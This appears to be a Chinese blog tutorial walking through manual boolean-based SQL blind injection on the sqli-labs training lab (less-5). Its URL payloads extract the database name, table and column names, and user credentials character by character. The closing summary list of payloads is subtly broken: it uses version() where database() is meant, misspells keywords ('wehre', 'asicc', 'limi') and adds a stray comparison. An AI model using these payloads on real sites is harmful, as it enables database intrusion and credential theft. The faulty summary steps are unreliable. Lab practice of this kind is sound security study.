写在文章之前,因为上一章,我把SQL-labse通过的练习答案,发了出来,但我觉得还是还要单独抽一个常见的注入类型分享出来,比如有时不管我们输入字符串类型或整数类型,页面都没有报错,这是我们就可以考虑一下盲注,来猜解。
好了,废话不多说,咋们看实例.... 嘻嘻
当你的才华
还撑不起你的野心时
那你就应该静下心来学习
目录
SQL 手工盲注
1.0 Sqli-labs 关卡实战开始
总结手工盲注常见操作步骤
可能各位已经通关了,但是 less-5 是不是觉得有点下不去手呢?因为无论怎么样他都不会讲错误显示在前端上。我们只能看到的是 you are in...,查看源代码我们发现原来定义了不返回数据库当中的数据
虽然网上各路大神关于此题的方法层出不穷,但是我个人觉得,盲注才是关键。所以我们用盲注的方法来做这道题目。 什么是 SQL 盲注?盲注不同于 less-1 那样的方式将数据库的数据直接显示,在盲注中,渗透测试人员要根据返回页面的不同来判定信息,而盲注又分为:
• Booleanbase(普通盲注)
• Timebase(时间盲注)
• Errorbase(基于报错的盲注)。
至于具体分别,我们在后面的试验中会学习到。 首先我们要知道在盲注中经常用到的一些方式:
• left(database(),1) 返回 database()的最左面 1 个字符
• length(databse()) 返回数据库的长度
• substr(a,b,c) 从 b 位置开始,截取字符串 a 的 c 长度
• ascii() 将某个字符转换为 ascii 值
• mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位
1.1我们首先尝试使用 ?id=1' and left(version(),1)=5 %23 猜解 mysql 的版本,语句的意思是如果数据库版本的最左面的第一个字符是 5,则会回显正常,如果不是则回显不正常
1.2 然后我们开始尝试使用 ?id=1 and length(database())=* %23来猜解数据库的长度。由此得知数据库长度为 8
1.3 得知了数据库长度之后开始猜解数据库名,使用 ?id=1 and left(database(),1)>'a' %23 来猜解数据库的首字母。然后逐次递增,直到猜解出所有的 8 个字母。在这里可以使用二分法进行猜解,这样的话可以提高猜解速度。
1.4 我们已经通过猜解知道了数据库名为:security,现在我们尝试通过构造语句来猜解表名。 ?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 100 %23
1.5 而通过修改 substr(1,1)为 substr(2,1)便可以查看第二个字符 修改 limit(0,1)为 limit(1,1)则可以查看第二个表 这样的话,我们就可以依次猜解到所有的表名。随后我们要开始在 users 表中获取内容,构造语句如下 ?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1) %23 用来验证 users 表是否存在
1.6 ?id=1%27 and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))= 68 %23 用来猜解 users 表中的内容,将 username 中的第一行的第一个字符的 ascii,与 68 进行比较。最后逐次猜解到所有的用户名和密码。
PS:如下*号地方都是自己填写的数字或名称,我只是已*号代替
· 1. 判断数据库版本号左边开头数字
?id=1’ and left(version(),1)=5 --+
· 2. 判断数据库名称长度
?id=1’ and length(version())=* --+
· 3. 猜解数据库名称
?id=1’ and left(version(),1)> ’*’ --+
· 4. 猜解表名
?id=1’ and ascii(substr((select table_name from information_schema.tables wehre table_schema=database() limit 0,1),1,1)) >100 --+
· 5. 猜解列名
id=1’ and asicc(substr((select table_column from information_schema.columns where table_schema=’数据库名’ and table_name=’表名’ limit 0,1),1,1)) > 99 --+
· 6. 判断表是否不存在
?id=1’ and 1=(select 1 from information_schema.columns where table_name=’表名’ and column_name regexp ’^username’ limit 0,1) > 97 --+
· 7. 表存在,获取表的内容
?id=1’ and ord(mid((select ifnull(cast(username as char),0x20)from 数据库名.表名 order by id limi 0,1),1,1)) =68 --+
我不需要自由,只想背着她的梦
一步步向前走,她给的永远不重